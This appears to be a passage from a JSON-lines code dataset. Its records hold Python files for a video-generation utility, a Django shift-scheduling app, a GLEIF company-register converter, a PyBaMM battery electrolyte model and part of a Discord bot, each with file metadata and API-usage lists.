"sys.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "SOL4Py.opencv.ZOpenCVImageView.ZOpenCVImageView", "line_number": 47, "usage_type": "name"}, {"api_name": "cv2.IMREAD_COLOR", "line_number": 48, "usage_type": "attribute"}, {"api_name": "SOL4Py.opencv.ZOpenCVImageView.ZOpenCVImageView.__init__", "line_number": 49, "usage_type": "call"}, {"api_name": "SOL4Py.opencv.ZOpenCVImageView.ZOpenCVImageView", "line_number": 49, "usage_type": "name"}, {"api_name": "cv2.cvtColor", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 51, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 63, "usage_type": "call"}, {"api_name": "traceback.print_exc", "line_number": 70, "usage_type": "call"}, {"api_name": "SOL4Py.opencv.ZOpenCVImageView.ZOpenCVImageView", "line_number": 72, "usage_type": "name"}, {"api_name": "cv2.IMREAD_COLOR", "line_number": 73, "usage_type": "attribute"}, {"api_name": "SOL4Py.opencv.ZOpenCVImageView.ZOpenCVImageView.__init__", "line_number": 74, "usage_type": "call"}, {"api_name": "SOL4Py.opencv.ZOpenCVImageView.ZOpenCVImageView", "line_number": 74, "usage_type": "name"}, {"api_name": "SOL4Py.ZGridLayouter.ZGridLayouter", "line_number": 98, "usage_type": "call"}, {"api_name": "cv2.IMREAD_COLOR", "line_number": 100, "usage_type": "attribute"}, {"api_name": "SOL4Py.ZVerticalPane.ZVerticalPane", "line_number": 136, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 140, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 141, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_TRUNC", "line_number": 142, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_TOZERO", "line_number": 143, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_TOZERO_INV", "line_number": 144, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_OTSU", "line_number": 145, "usage_type": "attribute"}, {"api_name": "cv2.THRESH_TRIANGLE", "line_number": 146, "usage_type": "attribute"}, {"api_name": "SOL4Py.ZLabeledComboBox.ZLabeledComboBox", "line_number": 148, "usage_type": "call"}, {"api_name": "SOL4Py.ZLabeledSlider.ZLabeledSlider", "line_number": 155, "usage_type": "call"}, {"api_name": "SOL4Py.ZLabeledSlider.ZLabeledSlider", "line_number": 164, "usage_type": "call"}, {"api_name": "SOL4Py.ZLabeledSlider.ZLabeledSlider", "line_number": 168, "usage_type": "call"}, {"api_name": "cv2.connectedComponentsWithStats", "line_number": 244, "usage_type": "call"}, {"api_name": "cv2.matchShapes", "line_number": 262, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 273, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 281, "usage_type": "call"}, {"api_name": "os.path", "line_number": 281, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 281, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 282, "usage_type": "attribute"}, {"api_name": "traceback.print_exc", "line_number": 290, "usage_type": "call"}]} +{"seq_id": "169894059", "text": "# from PIL import Image\n# import os, subprocess, wave, math, cv2, random, string\nimport wave\nimport time\nfrom contextlib import contextmanager\nimport logging\nfrom colorlog import StreamHandler, ColoredFormatter, getLogger\n\n# logger\n_handler = StreamHandler()\n_handler.setFormatter(ColoredFormatter(\n '%(log_color)s%(name)s | %(message)s'))\n\nlogger = getLogger('md2mv')\nlogger.setLevel(logging.DEBUG)\nlogger.addHandler(_handler)\n\ndef wave_length(path):\n # return length [s] of .wav file\n with wave.open(path) as w:\n return w.getnframes() / w.getframerate()\n@contextmanager\ndef timer():\n t0 = time.time()\n try:\n yield\n finally:\n logger.info(f'Done in {time.time() - t0:.2f}s')\n\n\"\"\"\n\nfrom typing import *\n\n# return random string\ndef random_string(n):\n return ''.join(random.choices(string.ascii_letters + string.digits, k = n))\n\n# return first element meet with condition\nT = TypeVar('T')\ndef first(array: Iterable[T], condition: Callable[[T], bool]) -> Optional[T] :\n for e in list(array):\n if condition(e):\n return e\n return None\n\n# part two list by predicate\nT = TypeVar('T')\ndef partition(itr: Iterable[T], predicate: Callable[[T], bool]) -> Tuple[List[T], List[T]]:\n a = []\n b = []\n for e in itr:\n if predicate(e):\n a.append(e)\n else:\n b.append(e)\n return (list(a), list(b))\n\n# return : voice's length (sec)\ndef create_synthesized_voice(command_path, path, cid, text):\n # 琴葉 茜: 2002, 琴葉 葵: 2003\n # call seikacenter command\n command = '{} -cid {} -save {} -t {}'.format(command_path, str(cid), path, text)\n subprocess.call(command)\n return wave_length(path)\n\n# return image's size (w, h)\ndef get_image_size(path):\n return Image.open(path).size\n\ndef get_movie_length(path):\n video = cv2.VideoCapture(path)\n frames = video.get(cv2.CAP_PROP_FRAME_COUNT)\n fps = video.get(cv2.CAP_PROP_FPS)\n return frames / fps\n\ndef calcurate_position_by_signature(screen_size, content_size, signature):\n if signature == 'left':\n return (\n math.floor(-(screen_size[0] - content_size[0]) / 2),\n math.floor((screen_size[1] - content_size[1]) / 2)\n )\n elif signature == 'right':\n return (\n math.floor((screen_size[0] - content_size[0]) / 2),\n math.floor((screen_size[1] - content_size[1]) / 2)\n )\n\"\"\"\n", "sub_path": "src/util.py", "file_name": "util.py", "file_ext": "py", "file_size_in_byte": 2304, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "colorlog.StreamHandler", "line_number": 10, "usage_type": "call"}, {"api_name": "colorlog.ColoredFormatter", "line_number": 11, "usage_type": "call"}, {"api_name": "colorlog.getLogger", "line_number": 14, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 15, "usage_type": "attribute"}, {"api_name": "wave.open", "line_number": 20, "usage_type": "call"}, {"api_name": "time.time", "line_number": 24, "usage_type": "call"}, {"api_name": "time.time", "line_number": 28, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 22, "usage_type": "name"}]} +{"seq_id": "198796866", "text": "from django.shortcuts import render, redirect, get_object_or_404\nfrom django.views.generic import TemplateView\nfrom django.views import generic\nfrom django.http import HttpResponse\nfrom django import forms\nimport datetime\nfrom .models import *\nfrom .forms import *\nfrom .nurseScheduling import nsProblem\nfrom . import mixins\nfrom . import mixins_axu\n\n\ndef index(request):\n\n return render(request,\n \"shiftManage/index.html\")\n\n\ndef slist(request):\n\n workers = Worker.objects.all()\n\n return render(request,\n \"shiftManage/slist.html\",\n {\"workers\": workers})\n\n\ndef nsp(request):\n\n workers = Worker.objects.all()\n skills = Skill.objects.all()\n worker_skill_dict = {}\n skill_list = []\n\n for i in workers:\n skill_list = []\n for j in i.worker_skill.all():\n skill_list.append(j.skill_name)\n worker_skill_dict[i.name] = skill_list\n\n ans = nsProblem(skills, workers, worker_skill_dict)\n\n length_list = [\"名前\"]\n for i in range(len(ans[workers[0].name])):\n length_list.append(i+1)\n\n return render(request,\n \"shiftManage/nsp.html\",\n {\"ans\": ans,\n \"workers\": workers,\n \"length_list\": length_list})\n\n\nclass AllMonthWithFormsCalendar(mixins.AllMonthWithFormsMixin, generic.View):\n\n template_name = 'shiftManage/month_with_forms_all.html'\n model = Schedule\n date_field = 'date'\n form_class = SimpleScheduleFormAll\n\n def get(self, request, **kwargs):\n \n context = self.get_month_calendar()\n for i, j in context[\"month_day_forms\"][\"島野雄貴\"].items():\n if len(j) == 1:\n print (\"shimano\")\n j[0].fields[\"name\"].initial = [1]\n\n\n \n context[\"workers\"] = Worker.objects.all()\n return render(request, self.template_name, context)\n\n def post(self, request, **kwargs):\n \n context = self.get_month_calendar()\n context[\"workers\"] = Worker.objects.all()\n formset = context['month_formset']\n if formset.is_valid():\n formset.save()\n if self.kwargs.get(\"year\") == None:\n return redirect('shiftManage:month_with_forms_all')\n else:\n return redirect('shiftManage:month_with_forms_all',\n year=self.kwargs.get(\"year\"),\n month=self.kwargs.get(\"month\"),)\n return render(request, self.template_name, context)\n\n\nclass WorkerList(mixins_axu.WorkerListMixin, generic.TemplateView):\n\n template_name = \"shiftmanage/slist.html\"\n\n def get_context_data(self, **kwargs):\n\n context = super().get_context_data(**kwargs)\n worker_context = self.get_worker_list()\n context.update(worker_context)\n\n return context\n\n\nclass WorkerEditList(mixins_axu.WorkerListMixin, generic.TemplateView):\n\n template_name = \"shiftmanage/slist_edit.html\"\n\n def get_context_data(self, **kwargs):\n\n context = super().get_context_data(**kwargs)\n worker_context = self.get_worker_list()\n context.update(worker_context)\n\n return context\n\n\n# 使ってないはず\nclass MonthCalendar(mixins.MonthCalendarMixin, generic.TemplateView):\n \"\"\"月間カレンダーを表示するビュー\"\"\"\n template_name = 'shiftManage/month.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n calendar_context = self.get_month_calendar()\n context.update(calendar_context)\n context[\"id\"] = self.kwargs.get(\"id\") #追加\n return context\n\n\nclass MonthWithScheduleCalendar(mixins.MonthWithScheduleMixin, generic.TemplateView):\n \"\"\"スケジュール付きの月間カレンダーを表示するビュー\"\"\"\n template_name = 'shiftManage/month_with_schedule.html'\n model = Schedule\n date_field = 'date'\n\n def get_context_data(self, **kwargs):\n\n context = super().get_context_data(**kwargs)\n calendar_context = self.get_month_calendar(self.kwargs.get(\"id\"))\n context.update(calendar_context)\n context[\"id\"] = self.kwargs.get(\"id\") #追加\n context[\"skills\"] = Skill.objects.all() #追加\n return context\n\n\nclass MonthWithFormsCalendar(mixins.MonthWithFormsMixin, generic.View):\n \"\"\"フォーム付きの月間カレンダーを表示するビュー\"\"\"\n template_name = 'shiftManage/month_with_forms.html'\n model = Schedule\n date_field = 'date'\n form_class = SimpleScheduleForm\n\n def get(self, request, **kwargs):\n \n context = self.get_month_calendar(self.kwargs.get(\"id\"))\n context[\"id\"] = self.kwargs.get(\"id\") #追加\n context[\"workers\"] = Worker.objects.all() #追加\n return render(request, self.template_name, context)\n\n def post(self, request, **kwargs):\n \n context = self.get_month_calendar(self.kwargs.get(\"id\"))\n context[\"id\"] = self.kwargs.get(\"id\") #追加\n context[\"workers\"] = Worker.objects.all() #追加\n formset = context['month_formset']\n if formset.is_valid():\n formset.save()\n return redirect('shiftManage:month_with_forms',\n id=self.kwargs.get(\"id\"),\n year=self.kwargs.get(\"year\"),\n month=self.kwargs.get(\"month\"),)\n return render(request, self.template_name, context)\n\n\nclass WeekCalendar(mixins.WeekCalendarMixin, generic.TemplateView):\n \"\"\"週間カレンダーを表示するビュー\"\"\"\n template_name = 'shiftManage/week.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n calendar_context = self.get_week_calendar()\n context.update(calendar_context)\n return context", "sub_path": "shiftManage/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 5843, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "django.shortcuts.render", "line_number": 16, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 24, "usage_type": "call"}, {"api_name": "nurseScheduling.nsProblem", "line_number": 42, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 48, "usage_type": "call"}, {"api_name": "django.views.generic.View", "line_number": 55, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 55, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 73, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 83, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 85, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 88, "usage_type": "call"}, {"api_name": "django.views.generic.TemplateView", "line_number": 91, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 91, "usage_type": "name"}, {"api_name": "django.views.generic.TemplateView", "line_number": 104, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 104, "usage_type": "name"}, {"api_name": "django.views.generic.TemplateView", "line_number": 118, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 118, "usage_type": "name"}, {"api_name": "django.views.generic.TemplateView", "line_number": 130, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 130, "usage_type": "name"}, {"api_name": "django.views.generic.View", "line_number": 146, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 146, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 158, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 168, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 172, "usage_type": "call"}, {"api_name": "django.views.generic.TemplateView", "line_number": 175, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 175, "usage_type": "name"}]} +{"seq_id": "644110527", "text": "# Copyright 2021 Ringgaard Research ApS\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http:#www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Convert GLEIF register to SLING.\"\"\"\n\nimport zipfile\nimport csv\nimport sling\nimport sling.dataset.bizreg\n\n# Load KB.\nprint(\"Loading KB\")\nkb = sling.Store()\nkb.load(\"data/e/kb/kb.sling\")\n\nn_id = kb[\"id\"]\nn_is = kb[\"is\"]\nn_isa = kb[\"isa\"]\nn_name = kb[\"name\"]\nn_instance_of = kb[\"P31\"]\nn_country_code = kb[\"P297\"]\nn_region_code = kb[\"P300\"]\nn_organization = kb[\"Q43229\"]\nn_opencorporates_id = kb[\"P1320\"]\nn_country = kb[\"P17\"]\nn_street_address = kb[\"P6375\"]\nn_postal_code = kb[\"P281\"]\nn_headquarters = kb[\"P159\"]\nn_located_in = kb[\"P131\"]\nn_location = kb[\"P276\"]\nn_lei = kb[\"P1278\"]\nn_swift_bic_code = kb[\"P2627\"]\nn_subsidiary = kb[\"P355\"]\nn_parent = kb[\"P749\"]\nn_owned_by = kb[\"P127\"]\nn_owner_of = kb[\"P1830\"]\nn_starttime = kb[\"P580\"]\nn_endtime = kb[\"P582\"]\nn_legal_form = kb[\"P1454\"]\nn_coord_location = kb[\"P625\"]\nn_geo = kb[\"/w/geo\"]\nn_lat = kb[\"/w/lat\"]\nn_lng = kb[\"/w/lng\"]\n\naliases = sling.PhraseTable(kb, \"data/e/kb/en/phrase-table.repo\")\nfactex = sling.FactExtractor(kb)\n\ncity_types = factex.taxonomy([\n \"Q486972\", # human settlement\n \"Q56061\", # administrative territorial entity\n])\n\n# Read registers.\nbizregs = sling.dataset.bizreg.BusinessRegistries(kb)\nregauth = bizregs.by_auth_code()\n\n# Build country and region table.\ncountries = {}\nregions = {}\nfor item in kb:\n code = item[n_country_code]\n if code != None: countries[kb.resolve(code)] = item\n\n code = item[n_region_code]\n if code != None: regions[kb.resolve(code)] = item\n\n# XML tags.\nx_lang = kb[\"xml:lang\"]\nx_content = kb[\"is\"]\n\nx_record = kb[\"lei:LEIRecord\"]\nx_lei = kb[\"lei:LEI\"]\nx_entity = kb[\"lei:Entity\"]\nx_legal_name = kb[\"lei:LegalName\"]\nx_legal_address = kb[\"lei:LegalAddress\"]\nx_headquarters_address = kb[\"lei:HeadquartersAddress\"]\nx_legal_address = kb[\"lei:LegalAddress\"]\nx_first_address_line = kb[\"lei:FirstAddressLine\"]\nx_additional_address_line = kb[\"lei:AdditionalAddressLine\"]\nx_city = kb[\"lei:City\"]\nx_region = kb[\"lei:Region\"]\nx_country = kb[\"lei:Country\"]\nx_postal_code = kb[\"lei:PostalCode\"]\nx_registration_authority = kb[\"lei:RegistrationAuthority\"]\nx_registration_authority_id = kb[\"lei:RegistrationAuthorityID\"]\nx_registration_authority_entity_id = kb[\"lei:RegistrationAuthorityEntityID\"]\nx_legal_jurisdiction = kb[\"lei:LegalJurisdiction\"]\nx_legal_form = kb[\"lei:LegalForm\"]\nx_legal_form_code = kb[\"lei:EntityLegalFormCode\"]\nx_entity_category = kb[\"lei:EntityCategory\"]\nx_extension = kb[\"lei:Extension\"]\nx_geocoding = kb[\"gleif:Geocoding\"]\nx_original_address = kb[\"gleif:original_address\"]\nx_lat = kb[\"gleif:lat\"]\nx_lng = kb[\"gleif:lng\"]\nx_relationship_record = kb[\"rr:RelationshipRecord\"]\nx_relationship = kb[\"rr:Relationship\"]\nx_relationship_type = kb[\"rr:RelationshipType\"]\nx_start_node = kb[\"rr:StartNode\"]\nx_end_node = kb[\"rr:EndNode\"]\nx_node_id = kb[\"rr:NodeID\"]\nx_relationship_periods = kb[\"rr:RelationshipPeriods\"]\nx_relationship_period = kb[\"rr:RelationshipPeriod\"]\nx_start_date = kb[\"rr:StartDate\"]\nx_end_date = kb[\"rr:EndDate\"]\nx_period_type = kb[\"rr:PeriodType\"]\n\nkb.freeze()\n\ndef closure(item, property):\n store = item.store()\n items = [item]\n i = 0\n while i < len(items):\n f = items[i]\n i += 1\n for subitem in f(property):\n subitem = store.resolve(subitem)\n if subitem not in items:\n items.append(subitem)\n return items\n\ndef city_in(cityname, region):\n for item in aliases.lookup(cityname):\n if item is None: continue\n if city_types.classify(item) == None: continue\n if region in closure(item, n_located_in): return item\n return None\n\ndef trim(s):\n if s == None: return None\n if s.endswith(\",\"): s = s[:-1]\n s = s.strip()\n return s if len(s) > 0 else None\n\ndef get_address(store, elem):\n addr1 = trim(elem[x_first_address_line])\n addr2 = trim(elem[x_additional_address_line])\n addr_parts = [addr1, addr2]\n cityname = trim(elem[x_city])\n postal_code = elem[x_postal_code]\n\n region_code = elem[x_region]\n region = regions.get(region_code)\n country_code = elem[x_country]\n country = countries[country_code]\n\n city = city_in(cityname, region if region != None else country)\n\n location = city\n if location == None:\n if cityname != None: addr_parts.append(cityname)\n location = region\n if location == None:\n location = country\n country = None\n\n addrline = ', '.join(filter(None, addr_parts))\n\n slots = []\n if location != None: slots.append((n_is, location))\n if len(addrline) > 0: slots.append((n_street_address, addrline))\n if postal_code != None: slots.append((n_postal_code, postal_code))\n if country != None: slots.append((n_country, country))\n return store.frame(slots)\n\ndef get_coord(rec, addr):\n address_prefix = trim(addr[x_first_address_line])\n if address_prefix is None:\n print(\"No address prefix\", addr)\n return None\n ext = rec[x_extension]\n if ext is None: return None\n for geocode in ext(x_geocoding):\n original_address = geocode[x_original_address]\n if original_address is None: continue\n if not original_address.startswith(address_prefix): continue\n lat = geocode[x_lat]\n lng = geocode[x_lng]\n if lat is None or lng is None: continue\n store = rec.store()\n return rec.store().frame([\n (n_isa, n_geo),\n (n_lat, float(lat)),\n (n_lng, float(lng))\n ])\n return None\n\nstore = sling.Store(kb)\n\n# LEI company data (level 1).\nprint(\"Reading GLEIF entities\")\nlei = zipfile.ZipFile(\"data/c/lei/lei2.xml.zip\", \"r\")\nleifile = lei.open(lei.namelist()[0], \"r\")\n\nlines = []\nnum_companies = 0\ncompanies = []\nunknown_regauth = {}\nunknown_categories = {}\nfor line in leifile:\n if line.startswith(b\"\\n\": continue\n\n # Parse XML record.\n xmldata = b\"\".join(lines)\n root = store.parse(xmldata, xml=True)\n\n # Build company frame.\n slots = []\n rec = root[x_record]\n lei_number = rec[x_lei]\n lei_id = \"P1278/\" + lei_number\n slots.append((n_id, lei_id))\n slots.append((n_lei, lei_number))\n slots.append((n_instance_of, n_organization))\n entity = rec[x_entity]\n\n # Organization type.\n category = entity[x_entity_category]\n if category != None:\n unknown_categories[category] = unknown_categories.get(category, 0) + 1\n\n # Company name.\n legal_name = entity[x_legal_name]\n if type(legal_name) is sling.Frame:\n name_lang = legal_name[x_lang]\n name = legal_name[x_content]\n else:\n name_lang = None\n name = legal_name\n slots.append((n_name, name))\n\n # Address.\n hq = entity[x_headquarters_address]\n legal_address = entity[x_legal_address]\n if hq != None:\n addr = get_address(store, hq)\n coord = get_coord(rec, hq)\n if coord != None: addr.append(n_coord_location, coord)\n slots.append((n_headquarters, addr))\n elif legal_address != None:\n addr = get_address(store, legal_address)\n coord = get_coord(rec, legal_address)\n if coord != None: addr.append(n_coord_location, coord)\n slots.append((n_location, addr))\n\n # Country and region for jurisdiction.\n jurisdiction = entity[x_legal_jurisdiction]\n if jurisdiction != None:\n country = countries.get(jurisdiction)\n if country == None:\n region = regions.get(jurisdiction)\n if region != None:\n slots.append((n_located_in, region))\n country = region[n_country]\n if country != None:\n slots.append((n_country, country))\n\n # Legal form.\n legal_form = entity[x_legal_form]\n if legal_form != None:\n elf = legal_form[x_legal_form_code]\n if elf != None and elf != \"8888\" and elf != \"9999\":\n slots.append((n_legal_form, store[\"PELF/\" + elf]))\n\n # Company identifiers.\n reg_auth = entity[x_registration_authority]\n if reg_auth != None:\n reg_auth_id = reg_auth[x_registration_authority_id]\n entity_id = reg_auth[x_registration_authority_entity_id]\n if reg_auth_id != None and reg_auth_id != \"RA888888\" and entity_id != None:\n register = regauth.get(reg_auth_id)\n if register is None:\n unknown_regauth[reg_auth_id] = unknown_regauth.get(reg_auth_id, 0) + 1\n else:\n company_property = register[bizregs.n_company_property]\n if company_property != None:\n slots.append((company_property, entity_id))\n opencorp_prefix = register[bizregs.n_opencorporates_jurisdiction]\n if opencorp_prefix != None:\n opencorp_id = opencorp_prefix + \"/\" + entity_id\n slots.append((n_opencorporates_id, opencorp_id))\n\n # Create item frame for company.\n f = store.frame(slots)\n companies.append(f)\n num_companies += 1\n\nleifile.close()\nlei.close()\nprint(num_companies, \"companies\")\n\n# Read entity relationships (level 2).\nprint(\"Reading GLEIF relationships\")\nlines = []\nrr = zipfile.ZipFile(\"data/c/lei/rr.xml.zip\", \"r\")\nrrfile = rr.open(rr.namelist()[0], \"r\")\nnum_relations = 0\nfor line in rrfile:\n if line.startswith(b\"\\n\": continue\n\n # Parse XML record.\n xmldata = b\"\".join(lines)\n root = store.parse(xmldata, xml=True)\n\n rec = root[x_relationship_record]\n relationship = rec[x_relationship]\n start = relationship[x_start_node]\n end = relationship[x_end_node]\n start_lei = start[x_node_id]\n end_lei = end[x_node_id]\n reltype = relationship[x_relationship_type]\n starttime = None\n endtime = None\n\n periods = relationship[x_relationship_periods]\n if periods != None:\n for period in periods(x_relationship_period):\n if period[x_period_type] == \"RELATIONSHIP_PERIOD\":\n period_start = period[x_start_date]\n period_end = period[x_end_date]\n if period_start: starttime = sling.Date(period_start).value()\n if period_end: endtime = sling.Date(period_end).value()\n\n # Dertermine relationship type.\n if reltype == \"IS_ULTIMATELY_CONSOLIDATED_BY\":\n parent_rel = n_owned_by\n child_rel = n_owner_of\n elif reltype == \"IS_DIRECTLY_CONSOLIDATED_BY\":\n parent_rel = n_parent\n child_rel = n_subsidiary\n else:\n continue\n\n # Get related organizations.\n subsidiary = store[\"P1278/\" + start_lei]\n if subsidiary.isglobal():\n print(\"Missing subsidiary:\", start_lei)\n continue\n parent = store[\"P1278/\" + end_lei]\n if parent.isglobal():\n print(\"Missing parent:\", end_lei)\n continue\n\n if starttime == None and endtime == None:\n subsidiary.append(parent_rel, parent)\n parent.append(child_rel, subsidiary)\n else:\n # Parent company.\n slots = [(n_is, parent)]\n if starttime != None: slots.append((n_starttime, starttime))\n if endtime != None: slots.append((n_endtime, endtime))\n subsidiary.append(parent_rel, store.frame(slots))\n\n # Subsidiary.\n slots = [(n_is, subsidiary)]\n if starttime != None: slots.append((n_starttime, starttime))\n if endtime != None: slots.append((n_endtime, endtime))\n parent.append(child_rel, store.frame(slots))\n\n num_relations += 1\n\nrrfile.close()\nrr.close()\nprint(num_relations, \"relations\")\n\n\"\"\"\n# Add SWIFT BIC codes to companies.\nprint(\"Adding SWITFT/BIC codes\")\nbicfile = open(\"bic_lei_gleif_v1_monthly_full_\" + bicdate + \".csv\", \"r\")\nbicreader = csv.reader(bicfile)\nbicreader.next() # skip header\nfor row in bicreader:\n bic = row[0]\n lei = row[1]\n lei_id = \"P1278/\" + lei\n if lei_id not in store:\n print(\"LEI not found:\", lei)\n continue\n company = store[lei_id]\n company.append(n_swift_bic_code, bic)\nbicfile.close()\n\"\"\"\n\n# Write companies to record file.\nprint(\"Writing companies to file\")\nrecout = sling.RecordWriter(\"data/e/lei/gleif.rec\")\nfor company in companies:\n recout.write(company.id, company.data(binary=True))\nrecout.close()\n\n# Output unknown registers.\nfor ra, count in unknown_regauth.items():\n print(\"Unknown RA\", ra, \",\", count, \"companies\")\n\n# Output unknown categories.\nfor category, count in unknown_categories.items():\n print(\"Unknown category\", category, \",\", count, \"companies\")\n\nprint(\"Done.\")\n\n", "sub_path": "python/dataset/lei.py", "file_name": "lei.py", "file_ext": "py", "file_size_in_byte": 12571, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sling.Store", "line_number": 24, "usage_type": "call"}, {"api_name": "sling.PhraseTable", "line_number": 56, "usage_type": "call"}, {"api_name": "sling.FactExtractor", "line_number": 57, "usage_type": "call"}, {"api_name": "sling.dataset.bizreg.BusinessRegistries", "line_number": 65, "usage_type": "call"}, {"api_name": "sling.dataset", "line_number": 65, "usage_type": "attribute"}, {"api_name": "sling.Store", "line_number": 200, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 204, "usage_type": "call"}, {"api_name": "sling.Frame", "line_number": 243, "usage_type": "attribute"}, {"api_name": "zipfile.ZipFile", "line_number": 314, "usage_type": "call"}, {"api_name": "sling.Date", "line_number": 347, "usage_type": "call"}, {"api_name": "sling.Date", "line_number": 348, "usage_type": "call"}, {"api_name": "sling.RecordWriter", "line_number": 412, "usage_type": "call"}]} +{"seq_id": "68773788", "text": "#\n# Class for electrolyte diffusion employing stefan-maxwell\n#\nimport pybamm\n\nfrom .base_electrolyte_diffusion import BaseElectrolyteDiffusion\n\n\nclass Full(BaseElectrolyteDiffusion):\n \"\"\"Class for conservation of mass in the electrolyte employing the\n Stefan-Maxwell constitutive equations. (Full refers to unreduced by\n asymptotic methods)\n\n Parameters\n ----------\n param : parameter class\n The parameters to use for this submodel\n reactions : dict\n Dictionary of reaction terms\n\n **Extends:** :class:`pybamm.electrolyte_diffusion.BaseElectrolyteDiffusion`\n \"\"\"\n\n def __init__(self, param):\n super().__init__(param)\n\n def get_fundamental_variables(self):\n c_e_n = pybamm.standard_variables.c_e_n\n c_e_s = pybamm.standard_variables.c_e_s\n c_e_p = pybamm.standard_variables.c_e_p\n\n return self._get_standard_concentration_variables(c_e_n, c_e_s, c_e_p)\n\n def get_coupled_variables(self, variables):\n\n tor = variables[\"Electrolyte tortuosity\"]\n eps = variables[\"Porosity\"]\n c_e = variables[\"Electrolyte concentration\"]\n i_e = variables[\"Electrolyte current density\"]\n v_box = variables[\"Volume-averaged velocity\"]\n T = variables[\"Cell temperature\"]\n\n param = self.param\n\n N_e_diffusion = -tor * param.D_e(c_e, T) * pybamm.grad(c_e)\n N_e_migration = param.C_e * param.t_plus(c_e, T) * i_e / param.gamma_e\n N_e_convection = param.C_e * c_e * v_box\n\n N_e = N_e_diffusion + N_e_migration + N_e_convection\n\n variables.update(self._get_standard_flux_variables(N_e))\n variables.update(self._get_total_concentration_electrolyte(c_e, eps))\n\n return variables\n\n def set_rhs(self, variables):\n\n param = self.param\n\n eps = variables[\"Porosity\"]\n deps_dt = variables[\"Porosity change\"]\n c_e = variables[\"Electrolyte concentration\"]\n N_e = variables[\"Electrolyte flux\"]\n div_Vbox = variables[\"Transverse volume-averaged acceleration\"]\n\n sum_s_j = variables[\"Sum of electrolyte reaction source terms\"]\n source_terms = sum_s_j / self.param.gamma_e\n\n self.rhs = {\n c_e: (1 / eps)\n * (\n -pybamm.div(N_e) / param.C_e\n + source_terms\n - c_e * deps_dt\n - c_e * div_Vbox\n )\n }\n\n def set_initial_conditions(self, variables):\n\n c_e = variables[\"Electrolyte concentration\"]\n\n self.initial_conditions = {c_e: self.param.c_e_init}\n\n def set_boundary_conditions(self, variables):\n\n c_e = variables[\"Electrolyte concentration\"]\n\n self.boundary_conditions = {\n c_e: {\n \"left\": (pybamm.Scalar(0), \"Neumann\"),\n \"right\": (pybamm.Scalar(0), \"Neumann\"),\n }\n }\n", "sub_path": "pybamm/models/submodels/electrolyte_diffusion/full_diffusion.py", "file_name": "full_diffusion.py", "file_ext": "py", "file_size_in_byte": 2865, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "base_electrolyte_diffusion.BaseElectrolyteDiffusion", "line_number": 9, "usage_type": "name"}, {"api_name": "pybamm.standard_variables", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pybamm.standard_variables", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pybamm.standard_variables", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pybamm.grad", "line_number": 45, "usage_type": "call"}, {"api_name": "pybamm.div", "line_number": 72, "usage_type": "call"}, {"api_name": "pybamm.Scalar", "line_number": 91, "usage_type": "call"}, {"api_name": "pybamm.Scalar", "line_number": 92, "usage_type": "call"}]} +{"seq_id": "580255409", "text": "import discord\nfrom discord.ext import commands\nfrom aiohttp import ClientSession\nimport random\nimport time\n\nclass Misc(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n \n @commands.command(aliases=['pf'])\n async def profile(self, ctx: commands.Context):\n '''Displays your profile'''\n embed = discord.Embed(title=ctx.author.display_name, description='Charlie Cult Member')\n embed.set_image(url=ctx.author.avatar_url)\n await ctx.send(embed=embed)\n\n @commands.command()\n async def tbh(self, ctx: commands.Context):\n '''Find out what Charlie thinks about you!'''\n await ctx.send(':thinking:')\n await ctx.send(f'tbh... Charlie thinks that you are a cutie! 